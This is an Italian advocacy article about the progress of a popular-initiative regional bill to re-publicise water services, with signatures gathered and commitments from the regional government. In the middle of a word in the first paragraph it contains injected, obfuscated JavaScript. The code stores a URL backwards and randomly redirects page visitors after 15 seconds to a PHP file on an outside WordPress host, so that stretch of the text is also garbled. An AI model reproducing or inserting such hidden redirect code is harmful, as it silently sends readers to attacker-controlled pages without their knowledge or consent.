A che punto è la ‘nostra’ legge

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Procede il cammino della proposta di legge di iniziativa popolare sull’acqua. Il testo è arrivato non molto tempo fa in Consiglio regionale ed è stato assegnato alla Commissione Territorio e Ambiente.
Ora la Commissione dovrà calendarizzare i suoi lavori e probabilmente deciderà di fare un giro di consultazioni sulla legge, chiam (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando categorie, associazioni, enti locali a dire la loro. Dopodiché la stessa Commissione sarà chiamata a dare il suo parere, che potrà essere favorevole o contrario, ma in entrambi i casi la legge sarà poi discussa e votata in via definitiva in una seduta del Consiglio regionale.
Sui tempi effettivi del procedimento non si sa molto, ma sicuramente le quasi 43.000 firme raccolte a sostegno dell’idea di ripubblicizzare il servizio idrico un loro peso lo avranno, e sicuramente il vasto arcipelago dei soggetti promotori si farà sentire se i tempi si allungheranno troppo.
Nel frattempo, positive aperture vengono dalla Giunta regionale, per bocca dell’assessore Fragai, che ha fra le sue deleghe due importanti settori: quello della partecipazione e quello dei servizi pubblici. A proposito della nuova legge sui servizi pubblici locali, attualmente in fase di gestazione, Fragai ha anticipato che saranno salvaguardati due aspetti: il mantenimento delle quote di maggioranza in mano pubblica nel caso specifico dell’acqua, e, in generale, gli strumenti di controllo da parte dei cittadini sulla gestione dei servizi. Garanzie importanti, anche se per ora rimangono al livello delle promesse, come rimangono promesse le aperture dichiarate sulla legge di iniziativa popolare, in particolare su controllo e partecipazione dei cittadini e sull’idea delle tariffe sociali.
Per ora, al di là delle promesse si attendono due fatti concreti: la presentazione delle linee guida della nuova legge sui servizi pubblici e la calendarizzazione della proposta di legge popolare all’interno della commissione del Consiglio regionale.
Non è carino fare i pessimisti in un momento in cui si registrano segnali di disponibilità che sembrano interessanti, ma volendo pensar male (e sperando di non azzeccarci) c’è da dire che un rischio si potrebbe profilare. Non è che, per caso, col fatto che sta arrivando a destinazione la nuova legge sui servizi pubblici, che secondo gli intendimenti iniziali accoglierà alcune delle richieste contenute nella proposta di iniziativa popolare sull’acqua, qualcuno chiederà di mettere da parte proprio la “nostra” proposta, nel nome del confronto e del dialogo?
Confidiamo nel senso civico e democratico di chi dovrà prendere delle decisioni e nella capacità di persuasione della pressione popolare, concretizzatasi in decine di migliaia di firme.

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